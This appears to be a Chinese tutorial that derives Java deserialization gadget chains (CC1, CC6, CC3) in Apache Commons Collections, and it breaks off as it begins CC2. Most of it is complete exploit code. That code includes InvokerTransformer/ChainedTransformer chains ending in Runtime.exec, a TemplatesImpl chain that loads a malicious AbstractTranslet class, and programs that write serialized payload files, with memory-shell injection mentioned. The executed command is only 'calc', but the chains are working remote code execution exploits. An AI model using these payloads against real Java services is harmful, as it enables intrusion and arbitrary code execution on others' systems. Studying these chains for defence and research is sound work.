CC1链
Commons Collections是一个开源的Java库,提供了许多实用的集合类和工具类,但其中的一些版本存在反序列化漏洞
反序列化链子的构造就是从利用类往readObject()方法反推,看后一层可不可以被前一层替代最终被readObject()替代,和php一个原理
cc1链是(JDK < 8u71,Commons Collections <= 3.2.1)版本的底层漏洞,该链利用了InvokerTransformer类实现了反射,先看其部分源码
public class InvokerTransformer implements Transformer, Serializable {
private static final long serialVersionUID = -8653385846894047688L;
private final String iMethodName;
private final Class[] iParamTypes;
private final Object[] iArgs;
// 构造函数接收:方法名、参数类型、参数值
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
public Object transform(Object input) {
if (input == null) { return null; }
try {
// cc1利用点,用此处反射
// 相当于:input.getClass().getMethod(iMethodName, iParamTypes).invoke(input, iArgs);
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (Exception ex) { ... }
}
}
可以看到InvokerTransformer类的transform方法会对输入对象进行反射调用。我们只要给transform传一个对象,再给InvokerTransformer传入方法名、参数类型和参数值,就可以通过反射调用这个方法了
Runtime r = Runtime.getRuntime();
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);
注意这里的new Class[]/new Object[],是对应源码的private final Class[] iParamTypes;和private final Object[] iArgs;
由于序列化过程中不可能主动调用transform()方法,我们循着链子顺藤摸瓜找一个方法代替他,最终用readObject()方法调用
代替transform()是来自TransformedMap类的checkSetValue方法,我们来看源码
public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable {
private static final long serialVersionUID = 7023152376788900464L;
protected final Transformer keyTransformer;
protected final Transformer valueTransformer;
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map); // 调用父类构造方法,传入一个map对象
// 其父类也规定了this.map = map;
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
protected Object checkSetValue(Object value) {
return this.valueTransformer.transform(value);
}
}
我们先给TransformedMap析构函数传参构造一个TransformedMap对象,再向checkSetValue传入值。由于两个都是protected方法,我们用getDeclaredMethod和getDeclaredConstructor来获取,先写一个demo
Class<?> r = Runtime.class;
Method c = r.getMethod("getRuntime");
Object f = c.invoke(null);
Object IT = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
Class<?> transformedMapClass = TransformedMap.class;
// getDeclaredConstructor导入transformedMap构造方法
Constructor<?> TM = transformedMapClass.getDeclaredConstructor(Map.class, Transformer.class, Transformer.class);
TM.setAccessible(true);
// 实例化
Object tmInstance = TM.newInstance(new HashMap<>(), null, IT);
Method cS = transformedMapClass.getDeclaredMethod("checkSetValue", Object.class);
cS.setAccessible(true);
cS.invoke(tmInstance, f);
checkSetValue方法也需要被代替,我们在它的父类AbstractInputCheckedMapDecorator里找到了内部类MapEntry一个调用了checkSetValue方法的public方法setValue
static class MapEntry extends AbstractMapEntryDecorator {
private final AbstractInputCheckedMapDecorator parent;
protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}
public Object setValue(Object value) {
value = this.parent.checkSetValue(value);
return this.entry.setValue(value);
}
}
Map.Entry<String, Object>用于存储键值对的集合
我们可以去掉checkSetValue方法,直接让setValue调用transform方法来触发反射
覆写一下,上半部分不变
Class<?> r = Runtime.class;
Method c = r.getMethod("getRuntime");
Object f = c.invoke(null);
Object IT = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
Class<?> transformedMapClass = TransformedMap.class;
Constructor<?> TM = transformedMapClass.getDeclaredConstructor(Map.class, Transformer.class, Transformer.class);
TM.setAccessible(true);
Map innerMap = new HashMap<>();
// 确保有值
innerMap.put("key","value");
Map tmInstance = (Map) TM.newInstance(innerMap, null, IT);
// 由于是内部类,这里使用官方接口调用,tmInstance的位置就是parent
// 但parent本质是map类型,于是我们上一步用了强转换,entrySet()用于获取map中所有的键值对打包成set,iterator()用于迭代器,next()用于获取下一个元素
Map.Entry entry = (Map.Entry) tmInstance.entrySet().iterator().next();
entry.setValue(f);
最后一步,将setValue用readObject()代替
在AnnotationInvocationHandler类里找到了对应方法
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
private final Class<? extends Annotation> type;
private final Map<String, Object> memberValues; // 这个 Map 我们是可以控制的!
// 构造函数,我们可以把包装好的 TransformedMap 传给 memberValues
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
this.type = type;
this.memberValues = memberValues;
}
private void readObject(java.io.ObjectInputStream s) throws ... {
s.defaultReadObject();
// 1. 获取注解中定义的方法
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) { return; }
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// 2. 遍历我们传入的 map (memberValues)
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
// 3. 我们 map 的 key,必须在注解中有对应的方法名
if (memberType != null) {
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) {
// 4. 调用了 setValue
// memberValue 就是 TransformedMap.MapEntry
memberValue.setValue(new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]").setMember(annotationType.members().get(name)));
}
}
}
}
}
java中注解除了用@定义标签,还可以用来定义属性,不过必须以方法的形式定义
public @interface MyAnnotation {
String name();
int age() default 18;
}
必须以键值对的方式传参赋值属性
@MyAnnotation(name = "uky", age = 19)
public class MyClass { ... }
这些属性的各种值就叫元数据(AnnotationType),而AnnotationType.getInstance()是用来将注解类实例化成元数据对象,并且将其通过memberTypes()存进Map里
Map.Entry就是储存键值对的,它会在遍历memberValues字典的所有键值对,成员命名为memberValue。取下memberValues的键,然后取下这些键在memberTypes里对应的注解属性类型(get(name)代表类型XX.class),如果存在,就用isInstance与memberValues里的值做判断看其是否为该类型
若不是,就会生成一个AnnotationTypeMismatchExceptionProxy异常处理对象。但setValue()就在这里被调用了
反过来看,我们要改的就是memberValue.setValue()。将memberValue替换成TransformedMap.MapEntry对象。
Map innerMap = new HashMap<>();
innerMap.put("value", "uky");
// 传参给TM的构造函数,由于调用Map接口默认调用的是该类的this.map,没有就向父类找。
// 由于源码有个super(Map),所以TM的Map指针指向的是innerMap
// 由于要满足memberType != null,所以要在innerMap确保分配个value
Map tmInstance = (Map) TM.newInstance(innerMap, null, ConstantTransformer);
Class<?> handlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> handlerConstructor = handlerClass.getDeclaredConstructor(Class.class, Map.class);
handlerConstructor.setAccessible(true);
// 为了不return需要传入注释类,这里用@Target类就行
Object payload = handlerConstructor.newInstance(Target.class, tmInstance);
但我们setValue()本应该传参runtime对象,结果把这个异常处理对象传过去了
这就需要我们使用ConstantTransformer
public ConstantTransformer(Object constantToReturn) {
super();
this.iConstant = constantToReturn;
}
public Object transform(Object input) {
return this.iConstant; // 无视input,直接返回iConstant
}
我们iConstant直接传入Runtime对象,这样就可以过滤掉异常处理对象了
不过问题也来了,我怎么同时把IT弹计算机的指令和Runtime对象同时传给ConstantTransformer呢
好在ConstantTransformer还规定了另一种传输方式,被规定要求传入数组
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
// 依次调用数组里的transformer的transform方法
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
对数组遍历,每一次都会transform一次上一次的结果。还有一点就是反序列化中Runtime对象是无法直接传入的,因为它没有实现Serializable接口,我们可以用他的class对象来代替他
而且熟悉的是,this.iTransformers[i].transform(object);正对应我们在第一步写的思路
那么就有这么一个思路,我们先创建一个Transformed数组,其中先给ChainedTransformer传入Runtime.class让他保存在object里,第二次建立一个InvokerTransformer来调用Runtime.class的getMethod("getRuntime")方法获取方法,第三次再用InvokerTransformer传入invoke执行上一步的方法拿到Runtime实例,第四次执行命令(最开始写的那个payload)
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
// Class[0]是个空数组,代表getRuntime方法没有参数
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
// 只拿实例不传参数
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
// 传参给ChainedTransformer构造函数,构造一个链式Transformer
Transformer chainedTransformer = new ChainedTransformer(transformers);
最终payload
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
Class<?> transformedMapClass = TransformedMap.class;
Constructor<?> TM = transformedMapClass.getDeclaredConstructor(Map.class, Transformer.class, Transformer.class);
TM.setAccessible(true);
Map innerMap = new HashMap<>();
innerMap.put("value", "uky");
Map tmInstance = (Map) TM.newInstance(innerMap, null, chainedTransformer);
Class<?> handlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> handlerConstructor = handlerClass.getDeclaredConstructor(Class.class, Map.class);
handlerConstructor.setAccessible(true);
Object payload = handlerConstructor.newInstance(Target.class, tmInstance);
// 序列化
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("demo_payload.bin"));
oos.writeObject(payload);
oos.close();
// 反序列化触发
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("demo_payload.bin"));
ois.readObject();
ois.close();
这就是整个cc1链的推导过程。后面的java的链子推导思路也是一样的
CC6链
适用于jdk全版本,Apache Commons Collections3.1 - 3.2.1版本
cc6有着和cc1一样的入口:transform方法,但他走的路线与cc1不同
// 开头和cc1一样,ChainedTransformer链式调用
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
它调用了LazyMap方法代替了TransformedMap,LazyMap的get方法会调用transform方法
public class LazyMap extends AbstractMapDecorator implements Map, Serializable {
private static final long serialVersionUID = 7990956402564206740L;
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
public Object get(Object key) {
if (!this.map.containsKey(key)) {
Object value = this.factory.transform(key);
this.map.put(key, value);
return value;
} else {
return this.map.get(key);
}
}
}
当获取一个未定义的key时,就会调用transform方法
我们传入一个空的HashMap和上面构造好的ChainedTransformer来构造一个LazyMap对象
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, chainedTransformer);
而get方法的调用需要用到TiedMapEntry类
public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {
private static final long serialVersionUID = -8453869361373831205L;
private final Map map;
private final Object key;
public TiedMapEntry(Map map, Object key) {
this.map = map;
this.key = key;
}
public Object getValue() {
return this.map.get(this.key);
}
public int hashCode() {
Object value = this.getValue();
return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
}
}
我们传入lazyMap和一个不存在的key来构造一个TiedMapEntry对象,只要触发hashCode就会触发getValue方法,进而触发get方法get一个不存在的key来触发transform方法
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");
那么如何调用readObject触发hashCode()呢
如果你对URLDNS链有了解,那么就会知道java.util.HashMap在反序列化时会调用hashCode方法来重建哈希表
private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
for (int i = 0; i < mappings; i++) {
K key = (K) s.readObject();
V value = (V) s.readObject();
// 这会调用hash()
putVal(hash(key), key, value, false, false);
}
}
static final int hash(Object key) {
int h;
// 这有个hashCode(),确保key不为null才能触发
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
调用hashCode()就需要先调用putVal(),而map.put(key, value)的底层就是调用putVal()方法
Map expMap = new HashMap();
expMap.put(tiedMapEntry, "value");
这里还不算完,再回看一下代码就会发现问题:当hashCode()调用时会主动触发getValue(),也就是说他会在本地序列化前会运行一次返回一个java.lang.Process对象,这个对象是没有序列化接口的,并且lazymap也会提前缓存一个'key',这样会导致序列化失败
于是我们在序列化之前调用put时调用一个不含恶意代码的假tiedMapEntry,这需要我们构造一个假ConstantTransformer链
// 起始ConstantTransformer链先不调用恶意代码
Transformer fakeTransformer = new ConstantTransformer(1);
再在put之后将其替换成真正的ConstantTransformer链
// java.lang.reflect.Field.set(Object obj, Object value)
// 负责在程序运行期间,强行修改某个对象里的变量值
Field factoryField = LazyMap.class.getDeclaredField("factory");
// 由于factory是protected的,所以需要setAccessible(true)来暴力访问
factoryField.setAccessible(true);
factoryField.set(lazyMap, new ChainedTransformer(transformers));
这样在序列化时就会避免触发恶意代码
对于lazymap缓存的旧key,我们可以在序列化前调用remove方法来清理它
lazyMap.remove("key");
完整链子
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer fakeTransformer = new ConstantTransformer(1);
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, fakeTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");
Map expMap = new HashMap();
expMap.put(tiedMapEntry, "value");
lazyMap.remove("key");
Field factoryField = LazyMap.class.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, new ChainedTransformer(transformers));
// 序列化生成
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc6.bin"));
oos.writeObject(expMap);
oos.close();
// 反序列化
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc6.bin"));
ois.readObject();
ois.close();

CC3链
commons-collections 3.1 - 3.2.1;jdk可以实现全版本,但需要讲究利用路线
如果后端ban了runtime等相关直接使用怎么办
这个链子与cc1cc6不同的地方在于它不再采用runtime.exec()来执行命令,而是用动态类加载的方式执行代码,甚至可以通过此注入内存马
什么是动态类加载
先讲一讲传统的静态类加载:在前两个链子里,类的加载都是在编译阶段前就已经通过文件中的预定义代码确定,编译器会根据代码中的类名来加载相应的类文件
public class Person {
public void sayHello() {
System.out.println("Hello, I'm a person!");
}
}
Person p = new Person();
p.sayHello();
而动态类加载则是在程序运行时根据需要动态加载类。一种是基础篇讲过的Class.forName()
还有一种是cc3要讲的 ClassLoader 加载字节数组
双亲委派模型 (Parent Delegation Model):这是 ClassLoader 的运行规则。 当一个类加载器接到加载类的请求时,它首先检查这个类是否已经被加载过。如果加载过,直接返回内存中的 Class 对象;如果没有,它会将请求委派给父类加载器,直到委派到顶层的启动类加载器。如果父类加载器无法找到该类,才会由子加载器尝试读取字节码。这种机制确保了 Java 核心库的安全性和稳定性
虽然是加载顺序,但它们其实是组合关系
如果父加载器没有此类,就会调用子加载器的findClass(String name)方法来加载类,这个方法会读取指定位置(包括数据库,网络,内存等)的字节码数据,并通过defineClass()方法将字节码转换成Class对象
// byte[] b 是字节码数据数组,off是字节码读取数据的起始位置,len是读取字节码数据的长度
defineClass(byte[] b, int off, int len)
利用方法
那么我们需要实现的就是defineClass方法动态加载一个恶意外部类。TemplatesImpl类就为我们提供了一个起点
private static String ABSTRACT_TRANSLET = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
private String _name = null;
private byte[][] _bytecodes = (byte[][])null;
private Class[] _class = null;
private int _transletIndex = -1;
private Properties _outputProperties;
private int _indentNumber;
private transient TransformerFactoryImpl _tfactory = null;
private void defineTransletClasses() throws TransformerConfigurationException {
try {
int classCount = this._bytecodes.length;
this._class = new Class[classCount];
if (classCount > 1) {
this._auxClasses = new HashMap();
} else {
TransletClassLoader loader = (TransletClassLoader)AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(), TemplatesImpl.this._tfactory.getExternalExtensionsMap());
}
});
for(int i = 0; i < classCount; ++i) {
this._class[i] = loader.defineClass(this._bytecodes[i]);
Class superClass = this._class[i].getSuperclass();
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
this._transletIndex = i;
}
if (this._transletIndex < 0) {
ErrorMsg err = new ErrorMsg("NO_MAIN_TRANSLET_ERR", this._name);
throw new TransformerConfigurationException(err.toString());
}
}
}
}
可以看到defineTransletClasses()方法会调用loader.defineClass()来加载字节码数据
由于是私有属性,反序列化时不会自己执行代码反射调用,所以再找找是谁调用了defineTransletClasses()方法
private Translet getTransletInstance() throws TransformerConfigurationException {
try {
if (this._name == null) {
return null;
} else {
if (this._class == null) {
this.defineTransletClasses();
}
AbstractTranslet translet = (AbstractTranslet)this._class[this._transletIndex].newInstance();
// 注意这里
}
} catch (InstantiationException var3) {
ErrorMsg err = new ErrorMsg("TRANSLET_OBJECT_ERR", this._name);
throw new TransformerConfigurationException(err.toString());
} catch (IllegalAccessException var4) {
ErrorMsg err = new ErrorMsg("TRANSLET_OBJECT_ERR", this._name);
throw new TransformerConfigurationException(err.toString());
}
}
仍是私有,再看getTransletInstance()方法的调用者
public synchronized Transformer newTransformer() throws TransformerConfigurationException {
TransformerImpl transformer = new TransformerImpl(this.getTransletInstance(), this._outputProperties, this._indentNumber, this._tfactory);
return transformer;
}
终于是公共方法了,那么这个newTransformer()就是cc3的切入点。写链子起点
TemplatesImpl templates = new TemplatesImpl();
templates.newTransformer();
开始反着推:
先看newTransformer(),方法调用要this._outputProperties, this._indentNumber, this._tfactory三个参数。其中this._tfactory默认设置为null。注意defineTransletClasses()里的run()对象,他需要_tfactory创建一个map,如果为空则会空指针报错。所以我们要先想办法给_tfactory传参
Class<?> temp = templates.getClass();
Field tfactory = temp.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, new TransformerFactoryImpl()); // 设置一个对象的变量值
要触发defineTransletClasses,_name就不能为空,否则直接return。并且数组_class必须为空
Field name = temp.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"uky");
Field clazz = temp.getDeclaredField("_class");
clazz.setAccessible(true);
clazz.set(templates,null); // 设数组为null不加双引号
然后我们再看getTransletInstance(),将不能为空的_bytecodes二维数组的值defineClass后全部赋给_class。那么我们只需修改_bytecode为我们需要加载的字节码文件
byte[] data_1 = Files.readAllBytes(Paths.get("D://!files/whoami/java/out/production/whoami/hack.class"));
byte[][] data_2 = {data_1};
Field code = temp.getDeclaredField("_bytecodes");
code.setAccessible(true);
code.set(templates,data_2);
_class收到字节码转成的class对象后,会在我标注的地方执行newInstance()。我们这里在本地目录下创建一个hack文件来写被ban的runtime调用payload,写在static里,newInstance()时就会执行static的内容。由于defineClass只认识字节码,所以java文件需要编译成class文件然后给_bytecodes传过去
public class hack extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (Exception e) {
e.printStackTrace();
}
}
我们继续往下看,如果_transletIndex小于0就会抛出异常,并且_transletIndex默认为-1。只有在_class的每一个值的父类等于常量ABSTRACT_TRANSLET(也即是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet)时才会设为非负整数。
那么我们需要给hack伪造一个父类成ABSTRACT_TRANSLET
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class hack extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (Exception e) {
e.printStackTrace();
}
}
// 这里必须实现两个抽象方法才能调用父类(AbstractTranslet规定)
@Override // 给jvm看的注释,覆写
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
abstract类对象不能用new创建,里面包含了许多无参方法。继承时必须要让子类学会抽象方法才能使用
完整核心exp到这里其实只证明了一件事:只要能调用 templates.newTransformer(),就能让 TemplatesImpl 去 defineClass 加载我们塞进去的字节码,并在 newInstance() 时触发代码
public class CC3 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class<?> temp = templates.getClass();
Field name = temp.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"uky");
Field clazz = temp.getDeclaredField("_class");
clazz.setAccessible(true);
clazz.set(templates,null);
Field tfactory = temp.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, new TransformerFactoryImpl());
byte[] data_1 = Files.readAllBytes(Paths.get("D://!files/whoami/java/out/production/whoami/hack.class"));
byte[][] data_2 = {data_1};
Field code = temp.getDeclaredField("_bytecodes");
code.setAccessible(true);
code.set(templates,data_2);
templates.newTransformer();
}
}
但是反序列化入口不会主动帮我们调用 newTransformer(),所以接下来继续按照 cc1 的思路往前替换:
readObject() -> hashCode() -> getValue() -> LazyMap.get() -> transform() -> newTransformer()
用 TrAXFilter 替换 newTransformer
先找谁会主动调用 templates.newTransformer(),这里用到 TrAXFilter 的构造方法:
public class TrAXFilter extends XMLFilterImpl {
private Templates _templates;
private TransformerImpl _transformer;
public TrAXFilter(Templates templates) throws TransformerConfigurationException {
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}
}
可以看到只要执行:
new TrAXFilter(templates);
就会自动进入:
templates.newTransformer();
而 newTransformer() 又会继续触发:
newTransformer() -> getTransletInstance() -> defineTransletClasses() -> defineClass(_bytecodes) -> newInstance()
所以现在我们的目标从调用 newTransformer() 变成实例化一个 TrAXFilter 对象
然后用 InstantiateTransformer 替换 new TrAXFilter
先看源码:
public class InstantiateTransformer implements Transformer, Serializable {
private final Class[] iParamTypes;
private final Object[] iArgs;
public InstantiateTransformer(Class[] paramTypes, Object[] args) {
this.iParamTypes = paramTypes;
this.iArgs = args;
}
public Object transform(Object input) {
try {
if (input instanceof Class == false) {
throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a "
+ (input == null ? "null object" : input.getClass().getName()));
}
Constructor con = ((Class) input).getConstructor(this.iParamTypes);
return con.newInstance(this.iArgs);
} catch (Exception ex) { ... }
}
}
它和 InvokerTransformer 很像,只不过 InvokerTransformer 是:
拿到对象 -> 找方法 -> invoke 调用方法
而 InstantiateTransformer 是:
拿到 Class 对象 -> 找构造方法 -> newInstance 实例化
所以我们只要让 transform() 的输入变成 TrAXFilter.class,再把构造参数设置成 templates,就等价于执行:
new TrAXFilter(templates);
对应 payload:
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templates}
).transform(TrAXFilter.class);
组装 ChainedTransformer
因为 InstantiateTransformer 的输入必须是 TrAXFilter.class,所以前面再接一个 ConstantTransformer,让它无视原始输入,直接返回 TrAXFilter.class
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
这段链子的执行效果就是:
任意输入
-> ConstantTransformer.transform() 返回 TrAXFilter.class
-> InstantiateTransformer.transform(TrAXFilter.class)
-> new TrAXFilter(templates)
-> templates.newTransformer()
-> defineClass(_bytecodes)
-> newInstance()
-> 执行 hack.class 里的 static 代码块
到这里,cc3 自己的核心链就通了。接下来还差最后一步:让反序列化时自动调用 chainedTransformer.transform()
用 cc6 的外层触发 LazyMap.get
这里如果继续走 AnnotationInvocationHandler那条外层,会受到 JDK 版本影响。前面 cc6 已经拆过一遍 HashMap.readObject()触发 TiedMapEntry.hashCode()的路线,这里直接复用它,这样就可以做到更通用:
HashMap.readObject()
-> putVal(hash(key), key, value, false, false)
-> key.hashCode()
-> TiedMapEntry.hashCode()
-> TiedMapEntry.getValue()
-> LazyMap.get(key)
-> factory.transform(key)
-> ChainedTransformer.transform()
先创建一个假的 Transformer,避免本地 expMap.put()的时候就提前触发真正 payload:
Transformer fakeTransformer = new ConstantTransformer(1);
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, fakeTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");
Map expMap = new HashMap();
expMap.put(tiedMapEntry, "value");
put() 的时候会执行一次 tiedMapEntry.hashCode(),所以 LazyMap 里会缓存一个旧的 key,序列化前要删掉:
lazyMap.remove("key");
然后再把假的 factory反射换成真正的 ChainedTransformer:
Field factoryField = LazyMap.class.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, chainedTransformer);
这样序列化时不会触发,反序列化时才会从 HashMap.readObject( 开始触发整条链。
完整 payload
先写要被动态加载的类。注意这个类必须继承 AbstractTranslet,并且实现两个抽象方法,否则 TemplatesImpl 里判断父类时不会把_transletIndex设置成有效值。
// hack.java
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class hack extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
再写 cc3 的生成和触发代码:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class CC3 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
// 1. 构造 TemplatesImpl,往 _bytecodes 里塞 hack.class 字节码
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "uky");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
byte[] bytecodes = Files.readAllBytes(Paths.get("D://!files/whoami/java/out/production/whoami/hack.class"));
setFieldValue(templates, "_bytecodes", new byte[][]{bytecodes});
// 2. 构造 TrAXFilter.class -> new TrAXFilter(templates) -> templates.newTransformer() 链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
// 3. 先用假 transformer 占位,防止 put 的时候本地提前触发
Transformer fakeTransformer = new ConstantTransformer(1);
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, fakeTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");
Map expMap = new HashMap();
expMap.put(tiedMapEntry, "value");
// 4. 清理 put 时 LazyMap 缓存的 key,否则反序列化时 containsKey 为 true,不会进入 transform
lazyMap.remove("key");
// 5. 把假 transformer 换成真正的 cc3 transformer 链
setFieldValue(lazyMap, "factory", chainedTransformer);
// 6. 序列化生成 payload
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc3.bin"));
oos.writeObject(expMap);
oos.close();
// 7. 本地反序列化测试触发
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc3.bin"));
ois.readObject();
ois.close();
}
}
CC2/CC4/CC5/CC7链
这四条链放一起看会更清楚:cc2、cc4 的外层都是 PriorityQueue,区别在于中间用什么 Transformer;cc5、cc7 都复用了 LazyMap.get() 这个触发点,区别在于 readObject() 的入口不同
先把思路理一下。前面 cc1、cc6、cc3 已经讲过三个核心点:
InvokerTransformer -> 反射调用方法
InstantiateTransformer -> 反射调用构造方法
LazyMap.get() -> 缺 key 时触发 transform()
TemplatesImpl -> newTransformer() 动态加载字节码
剩下 cc2/cc4/cc5/cc7 基本不是重新找 sink,而是在找新的外层入口,把 readObject() 替换成能触发 transform() 或 newTransformer() 的方法。
CC2链
commons-collections4 4.0,常见利用路线:PriorityQueue + TransformingComparator + InvokerTransformer + TemplatesImpl
cc2 的最终目的还是触发 TemplatesImpl.newTransformer(),也就是继续使用 cc3 里讲过的动态类加载。不同点在于 cc2 不用 LazyMap,而是用 PriorityQueue 的排序逻辑来触发比较器
先看 PriorityQueue.readObject():
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
